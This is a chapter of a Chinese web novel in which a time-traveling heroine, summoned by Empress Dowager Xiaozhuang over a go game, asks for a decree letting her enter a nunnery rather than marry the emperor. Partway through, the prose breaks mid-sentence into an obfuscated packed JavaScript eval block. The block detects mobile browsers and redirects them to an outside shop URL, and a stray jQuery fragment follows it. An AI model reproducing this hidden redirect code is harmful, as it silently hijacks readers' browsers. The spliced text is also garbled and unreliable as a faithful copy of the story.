115. 面见太后

作品:《清穿之原来我是董鄂妃

    时间终于走到了秀女选定的前夕,董浣浣应召前往慈宁宫。


    董浣浣早有预料会有这一天,是以当太监来秘密宣召,她也没有很惊讶。毕竟无论福临怎么想,娶孟古清都是当下必须的选择,即使福临想要偏离轨道,身为太后的孝庄肯定也是不会同意的。


    董浣浣怀着忐忑的心情,跟着小太监来到慈宁宫。


    之前晚宴,她坐的比较远,又因为石小睕和孟古清的发难,她都没敢怎么抬头,这还是她第一次在如此近的距离,观察这位历史课本上有名的女政治家,孝庄皇太后,布木布泰。


    眼前的布木布泰着一身明黄色的袍子,珠圆玉翠的坐在榻上,手执棋子,眼睛盯着面前的棋盘,在聚精会神的想着棋局,董浣浣只敢瞧了一眼便躬下身去,跪在了地上。


    “臣女,董鄂氏.浣浣,给皇太后请安。”


    因为之前和福临以平常人的身份相处很久,所以在得知他身份之后所产生的恐惧心理没有那么大,董浣浣这还是第一次被皇权统治者身上散发出的那股威严给震慑到了。


    虽然她已经为了今天的见面做了好久的心理建设,可是见到真人的这一刻,跪在地上的她还是两只腿都不听自己使唤,不停的战栗着,连布木布泰让她站起身来,她都因为脚软差一点出了洋相没有站起来。


    那种感觉就像是考试作弊,被教导主任当场抓住,拎进了教导处,脑子一片空白,整个心扑通扑通的跳个不停。


    布木布泰看到她这个样子,轻笑了下,挥了下手对苏茉儿吩咐道:“给她赐坐。”


    听到布木布泰这样说,董浣浣稳定了一下心神,趁着苏茉儿领命还没有吩咐下去的空档开口婉拒道:“谢太后抬爱,臣女身份低微,站着回话就好”。


    董浣浣之所以选择站着,一方面是不敢,怕日后传出去,董鄂.浣浣第一次见太后就得到了太后赐坐,遭人非议,落人口实,另一方面,一会万一她说错了话,惹怒太后,站着比较方便下跪磕头求饶。


    听到她这么说,布木布泰也没在坚持,朝苏茉儿使了个眼色,苏茉儿立刻心领神会的招呼所有的下人走了出去,顺便从外面把门关上了。


    待一切归于平静之后,布木布泰把手中的棋子放在棋盘的一处,看了一眼站在一旁的董浣浣问道:“知道哀家今天为何召你前来吗?”


    她和福临这一路的经历,皇太后也许不了解全部的情形,想必也了解七七八八了。


    如今福临公开选秀女,局中人都可以看出来这是为她铺路。


    可是局中人也可以看出来,对于福临来说这是一步非常臭的棋,既得罪了蒙古又得罪了八旗中的异心者,无论最终福临能否的得偿所愿,都会被有心者拿来大做文章,给他安一个骄奢淫逸的帽子,便于打压他的皇威。


    身为当今的太后,科尔沁草原以前最尊贵的格格,无论是为了她的儿子还是为了她的家族,布木布泰自然是不会坐视不理的。


    虽然已经猜到了原因,也大概知道皇太后接下来该有的做法,董浣浣还是恭谨的回答道:“臣女不知。”


    布木布泰闻言,脸上的表情未变,只是换了一个话题,指着桌上的棋盘说道:“你看看这盘棋白子可还有赢的机会?”


    董浣浣顺着她的手指望过去,棋盘上的形势已经很明朗了,白子已经陷入到了四面楚歌的境地,除非作弊打乱棋面,否则黑子胜局已定。


    董浣浣看完,揖手向布木布泰老实回禀道:“回太后的话,大局已定,白子已无生路。”


    “那如果是这样呢?”,布木布泰从棋盒里掏出一把棋子直接洒向了棋盘,棋盘顿时一片乱象。


    董浣浣揖着手:“回太后话”,她声音顿了一下,又接着说道:“一切皆有可能。”


    布木布泰闻言勾了一下唇角,又换了一个话题问道:“你想做皇后吗?”


    虽然已经做好了准备,董浣浣还是被布木布泰这直勾勾的提问给吓到了,噗通一声跪在了地上,慌忙回复道:“臣女不敢。”


    布木布泰闻言轻笑了一声道:“这有什么敢不敢的,你们储秀宫的那群女娃儿,忙活了这么久,不就是为了这个目标吗。”


    董浣浣听她这样说,赶忙磕了一个头道:“皇后只有一个,臣女身份低微,自是不敢做如是想。”


    布木布泰闻言起身走到了董浣浣的跟前。


    董浣浣低着头,看着太后的花盆鞋距离她越来越近,然后在她的身前停住,她鼓足勇气抬起了头。


    布木布泰伸手做了个搀扶的动作,“你不用这么拘谨,这里只有我们两个人,我们就像寻常人家的亲人一样聊聊天,本宫向你保证今天的谈话,绝对不会让第三个人知晓,起来吧。”


    董浣浣闻言,规矩的磕了一个头,“谢太后体恤。”


    董浣浣当然没敢真去扶布木布泰伸出来的手,只是顺着她的动作赶紧从地上站了起来。


    布木布泰转身走到榻前坐下,伸手指了一下对面的座位,对董浣浣说道:“你也坐。”


    这次董浣浣没有拒绝,按照布木布泰的吩咐规矩的坐到了她的对面。


    布木布泰看了一下她,又看了一眼摆在她面前的棋子,说道:“你先来。”


    董浣浣按照布木布泰的吩咐,从旁边的棋盒拿起一个黑子放到了棋盘上,然后看向布木布泰。


    布木布泰紧接着拿起白子,看了一眼棋盘,却没有落子,转而抬头看向董浣浣问道:“你知道杨玉环吗?”


    董浣浣答道:“回太后话,史书上看到过,她是唐玄宗的贵妃,死在了马嵬驿。”


    布木布泰闻言接着说道:“听过就好,自古红颜多薄命,深宫里女人的命和人生从来都不是自己的,哀家只希望过几天的选秀可以顺顺利利的,不要出什么岔子就好。”


    布木布泰都点拨的如此明显了,董浣浣也不能再装傻下去了,赶忙从榻上下来,跪在了地上。


    “望太后明察,臣女绝对没有魅惑君主,祸乱朝纲之心。为表臣女之心,臣女斗胆向太后求一道懿旨,让臣女以祈福的名义带发修行,去郊外的祈福庵给我们大清祈福。”


    “这就是你筹备了这么久,今天来见哀家的目的吧”,布木布泰将白子落在棋盘上问道。


    董浣浣答道:“是。”


    布木布泰看了一眼她,说道:“起来吧,该你落子了。”


    这是董浣浣能够想到的最好的解决办法了,对她而言,只要她不嫁给福临,他就不会因她而死,也不会因为要护她处处受制,也不会因为她,致使后宫整天鸡飞狗跳,身心俱疲。


    对于太后而言,既稳定了母族在朝堂和后宫的地位,也维护了朝堂的稳定,和福临帝位的稳固,更是遵守了之前的婚约等诸多好处。


    坏处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870472|190875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是,这道懿旨势必要赶在选妃之前宣布,还要对福临保密,下得猝不及防,一旦要是下了,势必会造成母子翻脸,加深隔阂。


    眼见太后的态度未明,董浣浣不知道太后到底是答应还是不答应,也不便于催促,便按照吩咐坐到了原来的位置上,拿起一颗黑子置于棋盘上。


    布木布泰手执白字落在了棋盘上,看着棋盘形势对董浣浣说:“不破不立,你看看白子是不是柳暗花明又一村了。”


    还没等董浣浣回话,布木布泰看向董浣浣就接着说道:“这棋局就像是福临之前所面对的局势,只有打破才能看到希望。他现在已经做到了打破,但想要大刀阔斧的改,真正的把朝政攥在他自己手里,势必需要有力的支持,蒙古或者八旗,至少要保证有一个完完全全的听命于他。八旗势力纷杂是他建立新权稳定朝堂最大的阻碍,所以满蒙联姻势在必行,容不得他胡闹。”


    董浣浣听到布木布泰这样说,又赶忙从榻上下来,跪在了地上。


    布木布泰看了她一眼,接着说道:“这是哀家在你来之前想好的说辞,现在看来是哀家多此一举了。现在哀家想问问你,既然你已经筹备好了一切,为何还要那么努力的去做每一环节,被刷下去,不是比从哀家这里求一纸懿旨要容易的多?”


    董浣浣闻言抬起头回复道:“回太后娘娘话,这是他人生中最重要的一段时间,臣女只是想让他安心政事,不要因为其他事分神。”


    布木布泰听到她的回话点了点头,“你想嫁给他也不是不可能,只不过你想要做皇后,这事怕是不太可能,你可还愿意。”


    董浣浣抬起头正视着布木布泰的眼睛,很认真的回答道:“臣女不愿意。”


    布木布泰脑海里想过好多种她的回答,却没想到是这种最直接,最不要命的。


    历来围墙外的女人,各个都是争破头想要嫁入皇家,这还是第一个明明相爱,却不愿意嫁给皇上的女人。


    布木布泰说道:“小姑娘,你可以告诉我为什么你不想嫁给我的儿子吗?”


    董浣浣说道:“回太后的话,臣女很想嫁给他,很想很想,可是我想嫁给的是您的儿子,而不是这个天下的主人。”


    布木布泰闻言,来了兴趣,微微抬眸道:“他皇上的身份让你很抗拒?”


    董浣浣道:“如果我入宫了,无论我想与不想,无论我怎么做,都会因为我而掀起一些波折,他是皇帝,是这天下的主宰,不能因为我一个人被牵绊住,我不想让他因为我为难。”


    布木布泰道:“那你就不怕我不同意你的请求,甚至把这件事告诉皇上?”


    董浣浣道:“您不会的,您很爱您的儿子,正如您说的,当下局势很不稳定,多少只眼睛都在盯着他,他的皇位迫切需要蒙古的支持。既想帮他稳定朝局,又想要满足他,想要娶我做皇后的愿望,臣女知道您也是权衡了许久,才把臣女召来的。我和您一样爱他,不想做世人口中的红颜祸水,所以我不想让他在我和天下之间为难,不想让他因为我意气用事。”


    她的态度诚恳,一改刚刚进来的慌张与拘谨,语气不卑不亢的说完了自己想要说的话,跪在那里等待太后的发落。


    布木布泰听完她的话点了点头,这个姑娘,年纪小小的,却对局势一清二楚,为了心爱之人可以下如此大的决心,很是难得,只可惜她和皇帝,注定是有缘无分了。